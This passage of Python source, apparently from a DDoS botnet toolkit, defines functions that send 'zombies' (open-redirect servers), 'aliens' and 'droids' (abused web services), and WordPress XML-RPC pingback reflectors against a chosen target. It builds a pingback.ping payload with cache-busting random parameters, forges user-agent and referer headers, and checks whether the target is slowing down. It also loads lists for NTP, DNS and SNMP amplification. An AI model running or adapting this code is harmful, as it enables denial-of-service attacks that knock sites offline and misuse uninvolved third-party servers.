  3968. print("[Info] [AI] [Control] Cannot open [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  3969. return #sys.exit(2)
  3970. else:
  3971. print("[Info] [AI] [Control] Cannot found [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  3972. return #sys.exit(2)
  3973. def discarding_ucavs(self, ucav, ucavs):
  3974. if ucav in self.discard_ucavs:
  3975. ucavs.remove(ucav)
  3976. if self.options.verbose:
  3977. print(("[Info] [AI] [Control] [UCAVs] "+str(ucav)+" is not working! -> [Discarding!]"))
  3978. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  3979. return ucavs
  3980. def send_ucavs(self, ucavs):
  3981. # extract external status checkers, perform a request and check results
  3982. time.sleep(5) # aiming (multi-threading flow time compensation)
  3983. if not self.options.disablepurge:
  3984. if not ucavs: # return when not any working
  3985. self.options.disableucavs = True
  3986. return
  3987. options = self.options
  3988. target = self.options.target
  3989. shuffle(ucavs) # shuffle ucavs order, each round :-)
  3990. if not self.options.disablepurge:
  3991. for ucav in ucavs:
  3992. if not ucav.startswith('http'): # discarded inmediately
  3993. self.discard_ucavs.append(ucav)
  3994. self.num_discard_ucavs = self.num_discard_ucavs + 1
  3995. ucavs = self.discarding_ucavs(ucav, ucavs) # check if ucav is failing for autobalance army
  3996. if not self.options.disablepurge:
  3997. if not ucavs: # return when not any working
  3998. self.options.disableucavs = True
  3999. return
  4000. shuffle(ucavs) # shuffle ucavs order, each discarding check :-)
  4001. for ucav in ucavs:
  4002. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4003. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4004. if target.startswith("http://"): # parse target for some checkers
  4005. target = target.replace('http://','')
  4006. elif target.startswith("https://"):
  4007. target = target.replace('https://','')
  4008. url = ucav + target
  4009. t = urlparse(ucav)
  4010. name_ucav = t.netloc
  4011. if name_ucav == "":
  4012. name_ucav = ucav
  4013. if options.verbose:
  4014. print(("[Info] [UCAVs] Sniping: " + url))
  4015. try:
  4016. if options.proxy: # set proxy
  4017. self.proxy_transport(options.proxy)
  4018. if options.timeout: # set timeout
  4019. ucav_timeout = options.timeout
  4020. else:
  4021. ucav_timeout = 5
  4022. if ucav_timeout < 1:
  4023. ucav_timeout = 5
  4024. req = urllib.request.Request(url, None, headers)
  4025. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=ucav_timeout).read().decode('utf-8')
  4026. self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats
  4027. except:
  4028. print("[Info] [UCAVs] " + name_ucav + " -> FAILED (cannot connect!)")
  4029. if not self.options.disablepurge:
  4030. self.discard_ucavs.append(ucav)
  4031. self.num_discard_ucavs = self.num_discard_ucavs + 1
  4032. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  4033. target_reply = ""
  4034. if target_reply == "": # check for target's status resolved by [UCAVs]
  4035. pass
  4036. else:
  4037. if not "is down" or not "looks down" or not "No info found for host" in target_reply: # parse external service for reply
  4038. print("[Info] [UCAVs] " + name_ucav + " -> Target is ONLINE! -> [Keep shooting!]")
  4039. self.num_is_up = self.num_is_up + 1
  4040. else:
  4041. print("[Info] [UCAVs] " + name_ucav + " -> Target looks OFFLINE! -> [Checking!]")
  4042. self.num_is_down = self.num_is_down + 1
  4043. if self.options.verbose:
  4044. print("[Info] [AI] [UCAVs] "+str(name_ucav)+" is returning...")
  4045. self.extra_zombies_lock = False # [ARMY] have finished
  4046. def extract_median(self, num_list):
  4047. # extract median from a list of numbers
  4048. import statistics
  4049. int_num = []
  4050. for num in num_list:
  4051. num = float(num)
  4052. int_num.append(num)
  4053. return statistics.median(int_num)
  4054. def check_is_loading(self, target):
  4055. # perform a broadband test (using GET) to analize target's reply to the traffic generated each round
  4056. self.start = None
  4057. self.stop = None
  4058. print('\n---------')
  4059. print("\n[Info] [AI] Scanning target to check for levels on defensive shields...\n")
  4060. if target.endswith(""):
  4061. target.replace("", "/")
  4062. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4063. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4064. try:
  4065. req = urllib.request.Request(target, None, headers)
  4066. if self.options.proxy: # set proxy
  4067. self.proxy_transport(self.options.proxy)
  4068. if self.options.timeout: # set timeout
  4069. try:
  4070. timeout = int(self.options.timeout)
  4071. except:
  4072. timeout = 5
  4073. else:
  4074. timeout = 5
  4075. if timeout < 1:
  4076. timeout = 5
  4077. self.start = time.time()
  4078. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  4079. header = urllib.request.urlopen(req, context=self.ctx).info()
  4080. self.stop = time.time()
  4081. except:
  4082. print('[Info] [AI] Our scanner cannot connect to the target this round! -> [Skipping!]\n')
  4083. return
  4084. try:
  4085. s, size_name = self.convert_size(len(target_reply))
  4086. self.loadcheck_size_list.append(s) # add record to size list
  4087. size = '%s %s' % (s,size_name)
  4088. except:
  4089. size = "Error!"
  4090. try:
  4091. time_required = self.stop - self.start
  4092. load = self.convert_time(time_required)
  4093. self.loadcheck_load_list.append(load) # add record to load list
  4094. except:
  4095. load = "Error!"
  4096. self.loadcheck_counter = self.loadcheck_counter + 1
  4097. print(' -Total tests:', self.loadcheck_counter, "\n")
  4098. if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:
  4099. lsm = self.extract_median(self.loadcheck_size_list)
  4100. if lsm is not None:
  4101. self.loadcheck_size_median = str(lsm) + " " + size_name
  4102. else:
  4103. self.loadcheck_size_median = None
  4104. llm = self.extract_median(self.loadcheck_load_list)
  4105. if llm is not None:
  4106. self.loadcheck_load_median = str(llm) + " seconds"
  4107. else:
  4108. self.loadcheck_load_median = None
  4109. if self.loadcheck_counter == 2: # first round
  4110. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  4111. print(' -Bytes in (this round) :', size)
  4112. if self.loadcheck_size_median is not None:
  4113. print(' -Bytes in (median) :', self.loadcheck_size_median)
  4114. print(' ----')
  4115. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  4116. print(' -Load time (this round) :', load, "seconds")
  4117. if self.loadcheck_load_median is not None:
  4118. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  4119. else:
  4120. print("\n")
  4121. self.loadcheck_size_max = None
  4122. self.loadcheck_size_min = None
  4123. self.loadcheck_load_max = None
  4124. self.loadcheck_load_min = None
  4125. elif self.loadcheck_counter > 2: # rest of rounds
  4126. lsmax = max(self.loadcheck_size_list)
  4127. if lsmax is not None:
  4128. self.loadcheck_size_max = str(lsmax) + " " + size_name
  4129. else:
  4130. self.loadcheck_size_max = None
  4131. lsmin = min(self.loadcheck_size_list)
  4132. if lsmin is not None:
  4133. self.loadcheck_size_min = str(lsmin) + " " + size_name
  4134. else:
  4135. self.loadcheck_size_min = None
  4136. llmax = max(self.loadcheck_load_list)
  4137. if llmax is not None:
  4138. self.loadcheck_load_max = str(llmax) + " seconds"
  4139. else:
  4140. self.loadcheck_load_max = None
  4141. llmin = min(self.loadcheck_load_list)
  4142. if llmin is not None:
  4143. self.loadcheck_load_min = str(llmin) + " seconds"
  4144. else:
  4145. self.loadcheck_load_min = None
  4146. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  4147. print(' -Bytes in (previous round) :', self.loadcheck_prev_size)
  4148. print(' -Bytes in (this round) :', size)
  4149. if self.loadcheck_size_max is not None:
  4150. print(' -Bytes in (max) :', self.loadcheck_size_max)
  4151. if self.loadcheck_size_min is not None:
  4152. print(' -Bytes in (min) :', self.loadcheck_size_min)
  4153. if self.loadcheck_size_median is not None:
  4154. print(' -Bytes in (median) :', self.loadcheck_size_median)
  4155. print(' ----')
  4156. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  4157. print(' -Load time (previous round):', self.loadcheck_prev_load, "seconds")
  4158. print(' -Load time (this round) :', load, "seconds")
  4159. if self.loadcheck_load_max is not None:
  4160. print(' -Load time (max) :', self.loadcheck_load_max)
  4161. if self.loadcheck_load_min is not None:
  4162. print(' -Load time (min) :', self.loadcheck_load_min)
  4163. if self.loadcheck_load_median is not None:
  4164. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  4165. else:
  4166. print("\n")
  4167. if self.loadcheck_prev_load < load: # target is loading more slowly
  4168. print("[Info] [AI] [Scanner] Target is serving the content more slowly this round! ;-) -> [Keep shooting!]\n")
  4169. elif self.loadcheck_prev_load == load: # inmutable target
  4170. print("[Info] [AI] [Scanner] Attack is not having any effect on your target this round... -> [Keep shooting!]\n")
  4171. elif self.loadcheck_prev_load > load: # is target defending?
  4172. print("[Info] [AI] [Scanner] Target is loading this round faster than the previous one! -> DETECTED: [PROXY CACHE!!]\n")
  4173. else:
  4174. print(' -Bytes in (this round) :', size)
  4175. print(' -Load time (this round):', load, "seconds\n")
  4176. self.loadcheck_first_size = size
  4177. self.loadcheck_first_load = load
  4178. self.loadcheck_size_median = None
  4179. self.loadcheck_load_median = None
  4180. self.loadcheck_size_max = None
  4181. self.loadcheck_size_min = None
  4182. self.loadcheck_load_max = None
  4183. self.loadcheck_load_min = None
  4184. self.loadcheck_prev_size = size # record previous size
  4185. self.loadcheck_prev_load = load # record previous load
  4186. def convert_size(self, size):
  4187. if (size == 0):
  4188. return '0 B'
  4189. size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
  4190. i = int(math.floor(math.log(size,1024)))
  4191. p = math.pow(1024,i)
  4192. s = round(size/p,2)
  4193. return s, size_name[i]
  4194. def convert_time(self, time):
  4195. return '%.2f' % time
  4196. def discarding_zombies(self, zombie, zombies):
  4197. if zombie in self.discardzombies:
  4198. zombies.remove(zombie)
  4199. if self.options.verbose:
  4200. print(("[Info] [AI] [Control] [Zombies] "+str(zombie)+" is not working! -> [Discarding!]"))
  4201. return zombies
  4202. def send_zombies(self, zombies):
  4203. # send Open Redirect zombies
  4204. time.sleep(1) # aiming (multi-threading flow time compensation)
  4205. if not self.options.disablepurge:
  4206. if not zombies:
  4207. self.empty_zombies = True
  4208. return
  4209. if self.options.verbose:
  4210. print("[Info] [AI] [Control] Deploying [Zombies] with 'maser-melee' weapons...")
  4211. options = self.options
  4212. target = self.options.target
  4213. shuffle(zombies) # shuffle zombies order, each round :-)
  4214. if not self.options.disablepurge:
  4215. for zombie in zombies: # check if zombie is failing for autobalance army
  4216. if not zombie.startswith('http'): # discarded inmediately
  4217. self.discardzombies.append(zombie)
  4218. self.num_discard_zombies = self.num_discard_zombies + 1
  4219. zombies = self.discarding_zombies(zombie, zombies)
  4220. if not self.options.disablepurge:
  4221. if not zombies: # return when not any working
  4222. self.empty_zombies = True
  4223. return
  4224. for zombie in zombies:
  4225. t = urlparse(zombie)
  4226. name_zombie = t.netloc
  4227. if name_zombie == "":
  4228. name_zombie = zombie
  4229. if not self.options.attackme:
  4230. print("[Info] [Zombies] Attacking from: " + name_zombie)
  4231. else: # on attackme, target url is dynamic -> http://public_ip:port/hash|zombie
  4232. self.mothership_hash = random.getrandbits(128) # generating random evasion hash
  4233. target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
  4234. self.options.target = target
  4235. print("[Info] [Zombies] Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port)
  4236. print("[Info] [Zombies] Payload: " + target)
  4237. print('='*55, "\n")
  4238. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4239. if not options.target.startswith('http'):
  4240. if options.forcessl:
  4241. options.target = "https://" + options.target
  4242. else:
  4243. options.target = "http://" + options.target
  4244. self.attack_mode = True
  4245. try:
  4246. if options.verbose:
  4247. print("[Info] [Zombies] Sniping: " + options.target)
  4248. self.connect_zombies(zombie)
  4249. if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
  4250. self.db_flash = self.db_flash + 1
  4251. stress = self.stressing(target, zombie)
  4252. except Exception:
  4253. print("[Info] [Zombies] " + zombie + " -> FAILED (cannot connect!)")
  4254. self.total_zombies_failed_connection = self.total_zombies_failed_connection + 1 # used to manage threading pool
  4255. if not self.options.disablepurge:
  4256. self.discardzombies.append(zombie)
  4257. self.num_discard_zombies = self.num_discard_zombies + 1
  4258. if self.options.verbose:
  4259. print("[Info] [AI] [Zombies] "+str(name_zombie)+" is returning...")
  4260. self.attack_mode = False
  4261. def discarding_aliens(self, alien, aliens):
  4262. if alien in self.discard_aliens:
  4263. aliens.remove(alien)
  4264. if self.options.verbose:
  4265. print(("[Info] [AI] [Control] [Aliens] "+str(alien)+" is not working! -> [Discarding!]"))
  4266. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  4267. return aliens
  4268. def send_aliens(self, aliens):
  4269. # extract external web abuse services urls (POST) and perform requests against target
  4270. time.sleep(2) # aiming (multi-threading flow time compensation)
  4271. if not self.options.disablepurge:
  4272. if not aliens: # return when not any working
  4273. self.options.disablealiens = True
  4274. return
  4275. target = self.options.target
  4276. options = self.options
  4277. shuffle(aliens) # shuffle aliens
  4278. if not self.options.disablepurge:
  4279. for alien in aliens:
  4280. if not alien.startswith('http'): # discarded inmediately
  4281. self.discard_aliens.append(alien)
  4282. self.num_discard_aliens = self.num_discard_aliens + 1
  4283. aliens = self.discarding_aliens(alien, aliens) # check if alien is failing for autobalance army
  4284. if not self.options.disablepurge:
  4285. if not aliens: # return when not any working
  4286. self.options.disablealiens = True
  4287. return
  4288. shuffle(aliens) # shuffle aliens order, each discarding check :-)
  4289. for alien in aliens:
  4290. name_alien = None
  4291. if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
  4292. regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
  4293. pattern_alien = re.compile(regex_alien)
  4294. alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
  4295. regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
  4296. pattern_param = re.compile(regex_param)
  4297. param = re.findall(pattern_param, alien) # HTTP POST params to submit
  4298. for u in alien_url:
  4299. url = u # ex: POST -> path/submit.php
  4300. t = urlparse(url)
  4301. name_alien = t.netloc
  4302. if name_alien == "":
  4303. name_alien = alien
  4304. print("[Info] [Aliens] Attacking from: " + name_alien)
  4305. for p in param:
  4306. param_target = {p : target} # ex POST -> url=target
  4307. param_target = urllib.parse.urlencode(param_target)
  4308. try:
  4309. if options.verbose:
  4310. print("[Info] [Aliens] Sniping: " + url + " - POST:", param_target)
  4311. if options.proxy: # set proxy
  4312. self.proxy_transport(options.proxy)
  4313. if self.options.timeout: # set timeout
  4314. try:
  4315. alien_timeout = int(self.options.timeout)
  4316. except:
  4317. alien_timeout = 5
  4318. else:
  4319. alien_timeout = 5
  4320. if alien_timeout < 1:
  4321. alien_timeout = 5
  4322. req = urllib.request.Request(url, param_target.encode('utf-8'))
  4323. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=alien_timeout)
  4324. self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats
  4325. except Exception:
  4326. print("[Info] [Aliens] " + name_alien + " -> FAILED (cannot connect!)")
  4327. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  4328. if not self.options.disablepurge:
  4329. self.discard_aliens.append(alien)
  4330. self.num_discard_aliens = self.num_discard_aliens + 1
  4331. else:
  4332. print(("[Info] [Aliens] "+str(alien)+" -> FAILED (invalid alien!)"))
  4333. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  4334. if not self.options.disablepurge:
  4335. self.discard_aliens.append(alien)
  4336. self.num_discard_aliens = self.num_discard_aliens + 1
  4337. if self.options.verbose:
  4338. if name_alien:
  4339. print("[Info] [AI] [Aliens] "+str(name_alien)+" is returning...")
  4340. else:
  4341. print("[Info] [AI] [Aliens] "+str(alien)+" is returning...")
  4342. if self.options.disabledroids and self.options.disablerpcs and self.options.disableucavs:
  4343. self.extra_zombies_lock = False # [ARMY] have finished
  4344. def extract_aliens(self):
  4345. # extract aliens from file
  4346. options = self.options
  4347. try:
  4348. f = open(self.aliens_file)
  4349. aliens = f.readlines()
  4350. aliens = [ alien.replace('\n','') for alien in aliens ]
  4351. f.close()
  4352. if not aliens:
  4353. print("[Info] [AI] [Control] Cannot retrieve [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  4354. self.options.disablealiens = True
  4355. return
  4356. else:
  4357. return aliens
  4358. except:
  4359. if os.path.exists(self.aliens_file) == True:
  4360. print("[Info] [AI] [Control] Cannot open [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  4361. return #sys.exit(2)
  4362. else:
  4363. print("[Info] [AI] [Control] Cannot found [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  4364. return #sys.exit(2)
  4365. def discarding_droids(self, droid, droids):
  4366. if droid in self.discard_droids:
  4367. droids.remove(droid)
  4368. if self.options.verbose:
  4369. print(("[Info] [AI] [Control] [Droids] "+str(droid)+" is not working! -> [Discarding!]"))
  4370. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  4371. return droids
  4372. def send_droids(self, droids):
  4373. # extract external web abuse services urls (GET) and perform requests against target
  4374. time.sleep(3) # aiming (multi-threading flow time compensation)
  4375. if not self.options.disablepurge:
  4376. if not droids: # return when not any working
  4377. self.options.disabledroids = True
  4378. return
  4379. target = self.options.target
  4380. try:
  4381. target = urllib.parse.unquote(target).decode('utf8') # parte urlencoding
  4382. except:
  4383. target = urllib.parse.unquote(target)
  4384. if target.startswith('http://'): # remove http
  4385. target = target.replace('http://', '')
  4386. if target.startswith('https://'):
  4387. target = target.replace('https://', '') # remove https
  4388. options = self.options
  4389. shuffle(droids) # shuffle droids
  4390. if not self.options.disablepurge:
  4391. for droid in droids:
  4392. if not droid.startswith('http'): # discarded inmediately
  4393. self.discard_droids.append(droid)
  4394. self.num_discard_droids = self.num_discard_droids + 1
  4395. droids = self.discarding_droids(droid, droids) # check if droid is failing for autobalance army
  4396. if not self.options.disablepurge:
  4397. if not droids: # return when not any working
  4398. self.options.disabledroids = True
  4399. return
  4400. shuffle(droids) # shuffle droids order, each discarding check :-)
  4401. for droid in droids:
  4402. name_droid = None
  4403. if "$TARGET" in droid: # replace droid/parameter for target
  4404. url = droid.replace("$TARGET", target)
  4405. t = urlparse(url)
  4406. name_droid = t.netloc
  4407. if name_droid == "":
  4408. name_droid = droid
  4409. print("[Info] [Droids] Attacking from: " + name_droid)
  4410. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4411. headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
  4412. try:
  4413. if options.proxy: # set proxy
  4414. self.proxy_transport(options.proxy)
  4415. if self.options.timeout: # set timeout
  4416. try:
  4417. droid_timeout = int(self.options.timeout)
  4418. except:
  4419. droid_timeout = 5
  4420. else:
  4421. droid_timeout = 5
  4422. if droid_timeout < 1:
  4423. droid_timeout = 5
  4424. req = urllib.request.Request(url, None, headers)
  4425. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=droid_timeout)
  4426. self.droids_hit = self.droids_hit + 1 # add hit to droids stats
  4427. except Exception:
  4428. print("[Info] [Droids] " + name_droid + " -> FAILED (cannot connect!)")
  4429. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  4430. if not self.options.disablepurge:
  4431. self.discard_droids.append(droid)
  4432. self.num_discard_droids = self.num_discard_droids + 1
  4433. else:
  4434. print("[Info] [Droids] " + str(droid) + " -> FAILED (invalid droid!)")
  4435. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  4436. if not self.options.disablepurge:
  4437. self.discard_droids.append(droid)
  4438. self.num_discard_droids = self.num_discard_droids + 1
  4439. if self.options.verbose:
  4440. if name_droid:
  4441. print("[Info] [AI] [Droids] "+str(name_droid)+" is returning...")
  4442. else:
  4443. print("[Info] [AI] [Droids] "+str(droid)+" is returning...")
  4444. if self.options.disablerpcs and self.options.disableucavs:
  4445. self.extra_zombies_lock = False # [ARMY] have finished
  4446. def extract_droids(self):
  4447. # extract droids from file
  4448. options = self.options
  4449. try:
  4450. f = open(self.droids_file)
  4451. droids = f.readlines()
  4452. droids = [ droid.replace('\n','') for droid in droids ]
  4453. f.close()
  4454. if not droids:
  4455. print("[Info] [AI] [Control] Cannot retrieve [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  4456. self.options.disabledroids = True
  4457. return
  4458. else:
  4459. return droids
  4460. except:
  4461. if os.path.exists(self.droids_file) == True:
  4462. print("[Info] [AI] [Control] Cannot open [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  4463. return #sys.exit(2)
  4464. else:
  4465. print("[Info] [AI] [Control] Cannot found [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  4466. return #sys.exit(2)
  4467. def discarding_rpcs(self, rpc, rpcs):
  4468. if rpc in self.discard_rpcs:
  4469. rpcs.remove(rpc)
  4470. if self.options.verbose:
  4471. print(("[Info] [AI] [Control] [X-RPCs] "+str(rpc)+" is not working! -> [Discarding!]"))
  4472. return rpcs
  4473. def send_rpcs(self, rpcs):
  4474. # extract vulnerable XML-RPC pingback services and perform requests against target
  4475. time.sleep(4) # aiming (multi-threading flow time compensation)
  4476. if not self.options.disablepurge:
  4477. if not rpcs: # return when not any working
  4478. self.options.disablerpcs = True
  4479. return
  4480. target = self.options.target
  4481. options = self.options
  4482. def random_key(length):
  4483. key = ''
  4484. for i in range(length):
  4485. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  4486. return key
  4487. shuffle(rpcs) # shuffle rpcs
  4488. if not self.options.disablepurge:
  4489. for rpc in rpcs:
  4490. if not rpc.startswith('http'): # discarded inmediately
  4491. if not self.options.disablepurge:
  4492. self.discard_rpcs.append(rpc)
  4493. self.num_discard_rpcs = self.num_discard_rpcs + 1
  4494. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  4495. rpcs = self.discarding_rpcs(rpc, rpcs) # check if rpc is failing for autobalance army
  4496. if not self.options.disablepurge:
  4497. if not rpcs: # return when not any working
  4498. self.options.disablerpcs = True
  4499. return
  4500. shuffle(rpcs) # shuffle rpcs order, each discarding check :-)
  4501. for rpc in rpcs:
  4502. t = urlparse(rpc)
  4503. name_rpc = t.netloc
  4504. if name_rpc == "":
  4505. name_rpc = rpc
  4506. print("[Info] [X-RPCs] Attacking from: " + name_rpc)
  4507. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4508. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4509. key = random_key(8) # generate random value page to bypass cache
  4510. rpc_page = "?" + str(key)
  4511. key = random_key(6) # re-generate random value id to bypass cache
  4512. rpc_id = "=" + str(key)
  4513. target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)
  4514. if "/xmlrpc.php" in rpc:
  4515. rpc_place = rpc.replace("xmlrpc.php", "")
  4516. rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
  4517. try:
  4518. if options.proxy: # set proxy
  4519. self.proxy_transport(options.proxy)
  4520. if self.options.timeout: # set timeout
  4521. try:
  4522. rpc_timeout = int(self.options.timeout)
  4523. except:
  4524. rpc_timeout = 5
  4525. else:
  4526. rpc_timeout = 5
  4527. if rpc_timeout < 1:
  4528. rpc_timeout = 5
  4529. req = urllib.request.Request(rpc, rpc_exploit.encode('utf-8'), headers)
  4530. urllib.request.urlopen(req, context=self.ctx, timeout=rpc_timeout)
  4531. self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats
  4532. if self.options.verbose:
  4533. print("[Info] [X-RPCs] Reply:", target_reply)
  4534. except:
  4535. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (cannot connect!)")
  4536. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  4537. if not self.options.disablepurge:
  4538. self.discard_rpcs.append(rpc)
  4539. self.num_discard_rpcs = self.num_discard_rpcs + 1
  4540. else:
  4541. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (invalid X-RPC!)")
  4542. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  4543. if not self.options.disablepurge:
  4544. self.discard_rpcs.append(rpc)
  4545. self.num_discard_rpcs = self.num_discard_rpcs + 1
  4546. if self.options.verbose:
  4547. print("[Info] [AI] [X-RPCs] "+str(name_rpc)+" is returning...")
  4548. if self.options.disableucavs:
  4549. self.extra_zombies_lock = False # [ARMY] have finished
  4550. def extract_rpcs(self):
  4551. # extract rpcs from file
  4552. options = self.options
  4553. try:
  4554. f = open(self.rpcs_file)
  4555. rpcs = f.readlines()
  4556. rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
  4557. rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
  4558. f.close()
  4559. if not rpcs:
  4560. print("[Info] [AI] [Control] Cannot retrieve [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  4561. self.options.disablerpcs = True
  4562. return
  4563. else:
  4564. return rpcs
  4565. except:
  4566. if os.path.exists(self.rpcs_file) == True:
  4567. print("[Info] [AI] [Control] Cannot open [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  4568. return
  4569. else:
  4570. print("[Info] [AI] [Control] Cannot found [X-RPCs] from: 'botnet/rpcs.txt' [Discarding!]")
  4571. return
  4572. def extract_ntps(self):
  4573. # extract ntps from file
  4574. options = self.options
  4575. try:
  4576. f = open(self.ntps_file)
  4577. ntps = f.readlines()
  4578. ntps = [ ntp.replace('\r','') for ntp in ntps ]
  4579. ntps = [ ntp.replace('\n','') for ntp in ntps ]
  4580. f.close()
  4581. if not ntps:
  4582. print("[Info] [AI] [Control] Cannot retrieve [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]")
  4583. return
  4584. else:
  4585. return ntps
  4586. except:
  4587. if os.path.exists(self.ntps_file) == True:
  4588. print("[Info] [AI] [Control] Cannot open [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]")
  4589. return
  4590. else:
  4591. print("[Info] [AI] [Control] Cannot found [NTPs] from: 'botnet/ntp.txt' [Discarding!]")
  4592. return
  4593. def extract_dnss(self):
  4594. # extract dnss from file
  4595. options = self.options
  4596. try:
  4597. f = open(self.dnss_file)
  4598. dnss = f.readlines()
  4599. dnss = [ dns.replace('\r','') for dns in dnss ]
  4600. dnss = [ dns.replace('\n','') for dns in dnss ]
  4601. f.close()
  4602. if not dnss:
  4603. print("[Info] [AI] [Control] Cannot retrieve [DNSs] from: 'botnet/dns.txt' -> [Discarding!]")
  4604. return
  4605. else:
  4606. return dnss
  4607. except:
  4608. if os.path.exists(self.dnss_file) == True:
  4609. print("[Info] [AI] [Control] Cannot open [DNSs] from: 'botnet/dns.txt' -> [Discarding!]")
  4610. return
  4611. else:
  4612. print("[Info] [AI] [Control] Cannot found [DNSs] from: 'botnet/dns.txt' [Discarding!]")
  4613. return
  4614. def extract_snmps(self):
  4615. # extract snmps from file
  4616. options = self.options
  4617. try:
  4618. f = open(self.snmps_file)
  4619. snmps = f.readlines()
  4620. snmps = [ snmp.replace('\r','') for snmp in snmps ]
  4621. snmps = [ snmp.replace('\n','') for snmp in snmps ]
  4622. f.close()
  4623. if not snmps:
  4624. print("[Info] [AI] [Control] Cannot retrieve [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]")
  4625. return
  4626. else:
  4627. return snmps
  4628. except:
  4629. if os.path.exists(self.snmps_file) == True:
  4630. print("[Info] [AI] [Control] Cannot open [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]")
  4631. return
  4632. else:
  4633. print("[Info] [AI] [Control] Cannot found [SNMPs] from: 'botnet/snmp.txt' [Discarding!]")
  4634. return
  4635. def extract_zombies(self):
  4636. options = self.options
  4637. if self.options.test:
  4638. try:
  4639. f = open(options.test)
  4640. zombies = f.readlines()
  4641. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  4642. f.close()
  4643. if not zombies:
  4644. print("\n[Error] [AI] [Control] Cannot retrieve [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4645. return
  4646. else:
  4647. return zombies
  4648. except:
  4649. if os.path.exists(options.test) == True:
  4650. print("\n[Error [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4651. return #sys.exit(2)
  4652. else:
  4653. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4654. return #sys.exit(2)
  4655. else:
  4656. try:
  4657. f = open(self.zombies_file)
  4658. zombies = f.readlines()
  4659. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  4660. f.close()
  4661. if not zombies:
  4662. print("\n[Error] [AI] You haven't [Zombies] to be extracted from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4663. return
  4664. else:
  4665. return zombies
  4666. except:
  4667. if os.path.exists(self.zombies_file) == True:
  4668. print("\n[Error] [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4669. return #sys.exit(2)
  4670. else:
  4671. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4672. return #sys.exit(2)
  4673. def extract_target_list(self):
  4674. options = self.options
  4675. try:
  4676. f = open(options.target_list)
  4677. targets = f.readlines()
  4678. targets = [ target.replace('\n','') for target in targets ]
  4679. f.close()
  4680. if not targets:
